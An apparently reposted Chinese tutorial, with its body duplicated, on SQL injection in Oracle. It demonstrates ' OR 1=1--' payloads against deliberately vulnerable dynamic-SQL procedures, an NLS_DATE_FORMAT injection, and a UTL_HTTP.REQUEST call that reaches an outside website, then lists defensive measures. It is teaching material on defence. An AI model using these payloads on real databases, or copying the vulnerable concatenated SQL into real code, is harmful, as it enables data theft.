Oracle的SQL注入
2015-07-21 23:53
846 查看
百度百科对SQL注入的描述是这样的:“用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。”这有点含混不清,到底如何“提交一段数据库查询代码”呢?
其实SQL注入是一种安全漏洞,假设应用程序如果接受终端用户的SQL输入,那么在输入中拼接一部分SQL代码后传递给应用,应用就会给出终端用户本来没有权限查看的信息。
那么针对oracle数据库开发,SQL注入具体通过哪些方式实现?
1. SQL篡改或拼接
常见的方法就是在sql的where语句中追加 “or1=1”之类的sql代码,比如下面的
试验A:
SQL> CREATE TABLE USER_PWD(USERID VARCHAR2(20),PASSWD VARCHAR2(10));
Table created
SQL> INSERT INTO USER_PWD VALUES('XXX','XXX123');
1 row inserted
SQL> INSERT INTO USER_PWD VALUES('YYY','456YYY');
1 row inserted
SQL> COMMIT;
Commit complete
SQL> CREATE OR REPLACE PROCEDURE P_SQL_INJ1(V_UID VARCHAR2) IS
2 V_SQL LONG;
3 CUR_INJ SYS_REFCURSOR;
4 R_INJ USER_PWD%ROWTYPE;
5 BEGIN
6 V_SQL:='
7 SELECT * FROM USER_PWD whereUSERID='''||V_UID||'''';
8 DBMS_OUTPUT.put_line(V_SQL);
9
10 OPEN CUR_INJ FOR V_SQL;
11
12 LOOP
13 FETCH CUR_INJ INTO R_INJ;
14 EXIT WHEN CUR_INJ%NOTFOUND;
15 DBMS_OUTPUT.put_line('USERID:'||R_INJ.USERID||',PASSWORD:'||R_INJ.PASSWD||'...');
16 END LOOP;
17 CLOSE CUR_INJ;
18
19 END;
20 /
Procedure created
SQL> SET SERVEROUT ON;
--用户XXX查询自己的数据
SQL> EXEC P_SQL_INJ1('XXX');
SELECT * FROM USER_PWD where USERID='XXX'
USERID:XXX,PASSWORD:XXX123...
PL/SQL procedure successfully completed
--被SQL篡改后,查到了USER_PWD表中的所有数据
SQL> EXEC P_SQL_INJ1('''
OR1=1--'' ');
SELECT * FROM USER_PWD where USERID='' OR 1=1--' '
USERID:XXX,PASSWORD:XXX123...
USERID:YYY,PASSWORD:456YYY...
PL/SQL procedure successfully completed
上面的例子中,存储过程输入参数是字符型,通过输入参数拼装的动态SQL很容易被改写,最终导致了数据泄露。而Thomas Kyte演示了当输入参数是date格式时的SQL注入漏洞,请看试验B:
SQL> DROP TABLE USER_PWD;
Table dropped
SQL> CREATE TABLE USER_PWD(USERID VARCHAR2(20),PASSWDVARCHAR2(10),CREATEDATE DATE);
Table created
SQL> INSERT INTO USER_PWD VALUES('XXX','XXX123',TRUNC(SYSDATE-1));
1 row inserted
SQL> INSERT INTO USER_PWD VALUES('YYY','456YYY',TRUNC(SYSDATE));
1 row inserted
SQL> COMMIT;
Commit complete
SQL> CREATE OR REPLACE PROCEDURE P_SQL_INJ2(D_DT DATE) IS
2 V_SQL LONG;
3 CUR_INJ SYS_REFCURSOR;
4 R_INJ USER_PWD%ROWTYPE;
5 BEGIN
6 V_SQL:='
7 SELECT * FROM USER_PWD whereCREATEDATE='''||D_DT||'''';
8 DBMS_OUTPUT.put_line(V_SQL);
9
10 OPEN CUR_INJ FOR V_SQL;
11 LOOP
12 FETCH CUR_INJ INTO R_INJ;
13 EXIT WHEN CUR_INJ%NOTFOUND;
14 DBMS_OUTPUT.put_line('USERID:'||R_INJ.USERID||',PASSWORD:'||R_INJ.PASSWD||'...');
15 END LOOP;
16 CLOSE CUR_INJ;
17
18 END;
19 /
Procedure created
--正常的查询
SQL> EXEC P_SQL_INJ2(TRUNC(SYSDATE));
SELECT * FROM USER_PWD whereCREATEDATE='21-7月 -15'
USERID:YYY,PASSWORD:456YYY...
PL/SQL procedure successfully completed
--存储过程P_SQL_INJ2的输入参数是date型,没法通过拼接字符串的方式篡改sql,真的是这样么?
SQL> EXEC P_SQL_INJ2('''
OR1=1--'' ');
begin P_SQL_INJ2('''
OR 1=1--'' ');end;
ORA-01858: 在要求输入数字处找到非数字字符
ORA-06512: 在 line 1
SQL> ALTER SESSION SETNLS_DATE_FORMAT='"'' OR 1=1--" ';
Session altered
--通过修改NLS_DATE_FORMAT的格式,可以在date类型后拼接sql,其实原理跟试验A是一样的
SQL> exec P_SQL_INJ2(trunc(sysdate));
SELECT * FROM USER_PWD where CREATEDATE='' OR 1=1-- '
USERID:XXX,PASSWORD:XXX123...
USERID:YYY,PASSWORD:456YYY...
PL/SQL procedure successfully completed
2. 函数调用注入
--下面这个translate函数把字母和数字之外的特殊字符全部屏蔽了,起到了防止SQL注入的作用
SQL> select translate(upper('xxx'''' OR 1=1--'' ''')
2 ,'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@.?`~!%^*()-=+{}[];":''?/><,|\'
3 ,'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890')
4 from dual;
TRANSLATE(UPPER('XXX''''OR1=1-
------------------------------
XXX OR 11
--但是将UTL_HTTP.REQUEST函数注入后,却执行了一个访问某网站的操作
SQL> select translate(''||UTL_HTTP.REQUEST('http://www.e0575.com/')||''
2 ,'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@.?`~!%^*()-=+{}[];":''?/><,|\'
3 ,'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890')
4 from dual;
TRANSLATE(''||UTL_HTTP.REQUEST
--------------------------------------------------------------------------------
DOCTYPE html PUBLIC W3CDTD XHTML 10 TransitionalENhttpwwww3orgTRxhtml1DTDxhtml1
html xmlnshttpwwww3org1999xhtml
head
meta httpequivContentType contenttexthtml charsetutf8
title老城市 新生活绍兴E网title
meta nameKeywords content绍兴绍兴E网
meta nameDescription content绍兴E网免费为您提供美食、优惠券、打折、休闲娱乐、招聘、二手、租房等绍兴生活消费指南绍兴E网 绍兴消费
link hrefhttpwwwe0575comcssbasecss relstylesheet typetextcss
link hrefhttpwwwe0575compic2011css relstylesheet typetextcss
link hrefhttpwwwe0575comcssindexcss relstylesheet typetextcss
meta namebaidusiteverification content3OyMlCknGWjOrpq5
style typetextcss
tgc goods width81px height120pxfloatleft marginleft5px marginright5px marginbo
tgc goods gdpic padding 1pxborder1px solid CCCCCC
tgc goods gdother lineheight18pxtextaligncenter
ggxx1 width90 heightautooverflowhidden margin10px auto
ggxx1 li floatleft width100heightauto overflowhidden padding7px 0 lineheight16
style
head
body
div classtopBar
div classm2ul classm1li classm3onmouseoutlayershowtopbarhide onmouseoverlayer
div classt1分类信息div
div classt2ahrefhttpwwwe0575comjob targetblank招聘求职a a hrefhttpwwwe0575comseco
3. 还有一些其他方法,实现更加复杂,不做详细研究了
现在对Oracle的SQL注入漏洞有了初步的了解,那么在数据库层面能够有效防止漏洞的主要措施有:
1.用translate或自定义函数对用户输入进行判断、合规性验证;
2.尽量不要使用动态拼装SQL,多用绑定变量的SQL或者存储过程进行数据查询存取;
3.应用使用的数据库连接需要单独设置低权限级别,切不可使用管理员用户;
4.重要和敏感的信息比如密码等字段要加密,即使被窃取也很难破解成明文;
5.通过应用调用的函数、存储过程等的错误信息要进行封装,不要直接报数据库自带的错误。
其实SQL注入是一种安全漏洞,假设应用程序如果接受终端用户的SQL输入,那么在输入中拼接一部分SQL代码后传递给应用,应用就会给出终端用户本来没有权限查看的信息。
那么针对oracle数据库开发,SQL注入具体通过哪些方式实现?
1. SQL篡改或拼接
常见的方法就是在sql的where语句中追加 “or1=1”之类的sql代码,比如下面的
试验A:
SQL> CREATE TABLE USER_PWD(USERID VARCHAR2(20),PASSWD VARCHAR2(10));
Table created
SQL> INSERT INTO USER_PWD VALUES('XXX','XXX123');
1 row inserted
SQL> INSERT INTO USER_PWD VALUES('YYY','456YYY');
1 row inserted
SQL> COMMIT;
Commit complete
SQL> CREATE OR REPLACE PROCEDURE P_SQL_INJ1(V_UID VARCHAR2) IS
2 V_SQL LONG;
3 CUR_INJ SYS_REFCURSOR;
4 R_INJ USER_PWD%ROWTYPE;
5 BEGIN
6 V_SQL:='
7 SELECT * FROM USER_PWD whereUSERID='''||V_UID||'''';
8 DBMS_OUTPUT.put_line(V_SQL);
9
10 OPEN CUR_INJ FOR V_SQL;
11
12 LOOP
13 FETCH CUR_INJ INTO R_INJ;
14 EXIT WHEN CUR_INJ%NOTFOUND;
15 DBMS_OUTPUT.put_line('USERID:'||R_INJ.USERID||',PASSWORD:'||R_INJ.PASSWD||'...');
16 END LOOP;
17 CLOSE CUR_INJ;
18
19 END;
20 /
Procedure created
SQL> SET SERVEROUT ON;
--用户XXX查询自己的数据
SQL> EXEC P_SQL_INJ1('XXX');
SELECT * FROM USER_PWD where USERID='XXX'
USERID:XXX,PASSWORD:XXX123...
PL/SQL procedure successfully completed
--被SQL篡改后,查到了USER_PWD表中的所有数据
SQL> EXEC P_SQL_INJ1('''
OR1=1--'' ');
SELECT * FROM USER_PWD where USERID='' OR 1=1--' '
USERID:XXX,PASSWORD:XXX123...
USERID:YYY,PASSWORD:456YYY...
PL/SQL procedure successfully completed
上面的例子中,存储过程输入参数是字符型,通过输入参数拼装的动态SQL很容易被改写,最终导致了数据泄露。而Thomas Kyte演示了当输入参数是date格式时的SQL注入漏洞,请看试验B:
SQL> DROP TABLE USER_PWD;
Table dropped
SQL> CREATE TABLE USER_PWD(USERID VARCHAR2(20),PASSWDVARCHAR2(10),CREATEDATE DATE);
Table created
SQL> INSERT INTO USER_PWD VALUES('XXX','XXX123',TRUNC(SYSDATE-1));
1 row inserted
SQL> INSERT INTO USER_PWD VALUES('YYY','456YYY',TRUNC(SYSDATE));
1 row inserted
SQL> COMMIT;
Commit complete
SQL> CREATE OR REPLACE PROCEDURE P_SQL_INJ2(D_DT DATE) IS
2 V_SQL LONG;
3 CUR_INJ SYS_REFCURSOR;
4 R_INJ USER_PWD%ROWTYPE;
5 BEGIN
6 V_SQL:='
7 SELECT * FROM USER_PWD whereCREATEDATE='''||D_DT||'''';
8 DBMS_OUTPUT.put_line(V_SQL);
9
10 OPEN CUR_INJ FOR V_SQL;
11 LOOP
12 FETCH CUR_INJ INTO R_INJ;
13 EXIT WHEN CUR_INJ%NOTFOUND;
14 DBMS_OUTPUT.put_line('USERID:'||R_INJ.USERID||',PASSWORD:'||R_INJ.PASSWD||'...');
15 END LOOP;
16 CLOSE CUR_INJ;
17
18 END;
19 /
Procedure created
--正常的查询
SQL> EXEC P_SQL_INJ2(TRUNC(SYSDATE));
SELECT * FROM USER_PWD whereCREATEDATE='21-7月 -15'
USERID:YYY,PASSWORD:456YYY...
PL/SQL procedure successfully completed
--存储过程P_SQL_INJ2的输入参数是date型,没法通过拼接字符串的方式篡改sql,真的是这样么?
SQL> EXEC P_SQL_INJ2('''
OR1=1--'' ');
begin P_SQL_INJ2('''
OR 1=1--'' ');end;
ORA-01858: 在要求输入数字处找到非数字字符
ORA-06512: 在 line 1
SQL> ALTER SESSION SETNLS_DATE_FORMAT='"'' OR 1=1--" ';
Session altered
--通过修改NLS_DATE_FORMAT的格式,可以在date类型后拼接sql,其实原理跟试验A是一样的
SQL> exec P_SQL_INJ2(trunc(sysdate));
SELECT * FROM USER_PWD where CREATEDATE='' OR 1=1-- '
USERID:XXX,PASSWORD:XXX123...
USERID:YYY,PASSWORD:456YYY...
PL/SQL procedure successfully completed
2. 函数调用注入
--下面这个translate函数把字母和数字之外的特殊字符全部屏蔽了,起到了防止SQL注入的作用
SQL> select translate(upper('xxx'''' OR 1=1--'' ''')
2 ,'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@.?`~!%^*()-=+{}[];":''?/><,|\'
3 ,'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890')
4 from dual;
TRANSLATE(UPPER('XXX''''OR1=1-
------------------------------
XXX OR 11
--但是将UTL_HTTP.REQUEST函数注入后,却执行了一个访问某网站的操作
SQL> select translate(''||UTL_HTTP.REQUEST('http://www.e0575.com/')||''
2 ,'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@.?`~!%^*()-=+{}[];":''?/><,|\'
3 ,'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890')
4 from dual;
TRANSLATE(''||UTL_HTTP.REQUEST
--------------------------------------------------------------------------------
DOCTYPE html PUBLIC W3CDTD XHTML 10 TransitionalENhttpwwww3orgTRxhtml1DTDxhtml1
html xmlnshttpwwww3org1999xhtml
head
meta httpequivContentType contenttexthtml charsetutf8
title老城市 新生活绍兴E网title
meta nameKeywords content绍兴绍兴E网
meta nameDescription content绍兴E网免费为您提供美食、优惠券、打折、休闲娱乐、招聘、二手、租房等绍兴生活消费指南绍兴E网 绍兴消费
link hrefhttpwwwe0575comcssbasecss relstylesheet typetextcss
link hrefhttpwwwe0575compic2011css relstylesheet typetextcss
link hrefhttpwwwe0575comcssindexcss relstylesheet typetextcss
meta namebaidusiteverification content3OyMlCknGWjOrpq5
style typetextcss
tgc goods width81px height120pxfloatleft marginleft5px marginright5px marginbo
tgc goods gdpic padding 1pxborder1px solid CCCCCC
tgc goods gdother lineheight18pxtextaligncenter
ggxx1 width90 heightautooverflowhidden margin10px auto
ggxx1 li floatleft width100heightauto overflowhidden padding7px 0 lineheight16
style
head
body
div classtopBar
div classm2ul classm1li classm3onmouseoutlayershowtopbarhide onmouseoverlayer
div classt1分类信息div
div classt2ahrefhttpwwwe0575comjob targetblank招聘求职a a hrefhttpwwwe0575comseco
3. 还有一些其他方法,实现更加复杂,不做详细研究了
现在对Oracle的SQL注入漏洞有了初步的了解,那么在数据库层面能够有效防止漏洞的主要措施有:
1.用translate或自定义函数对用户输入进行判断、合规性验证;
2.尽量不要使用动态拼装SQL,多用绑定变量的SQL或者存储过程进行数据查询存取;
3.应用使用的数据库连接需要单独设置低权限级别,切不可使用管理员用户;
4.重要和敏感的信息比如密码等字段要加密,即使被窃取也很难破解成明文;
5.通过应用调用的函数、存储过程等的错误信息要进行封装,不要直接报数据库自带的错误。
相关文章推荐
- CentOS6.4.i686下Oracle安装—包安装失败
- oracle11G在linux环境下的卸载操作
- oracle数据库导入导出命令!
- Ubuntu 14.04(32位)安装Oracle 11g(32位)全过程
- Oracle 创建分页存储过程(转帖)
- Oracle Application Express 3.0 ― 构建功能应用程序
- OAF_开发系列25_实现OAF中Java类型并发程式开发oracle.apps.fnd.cp.request(概念)
- Oracle中用户(User)和模式(Schema)的概念
- 完全卸载oracle11g步骤
- oracle取整操作
- oracle 学习笔记
- Oracle学习笔记
- oracle 高级队列
- Oracle体系结构
- 免安装Oracle客户端使用(转)
- Oracle找回删除的记录
- db2 、 oracle、sql server 各自特点
- Oracle-BPM(十)
- java 批量插入数据(Oracle)
- Oracle 查询优化器 -- 表连接方法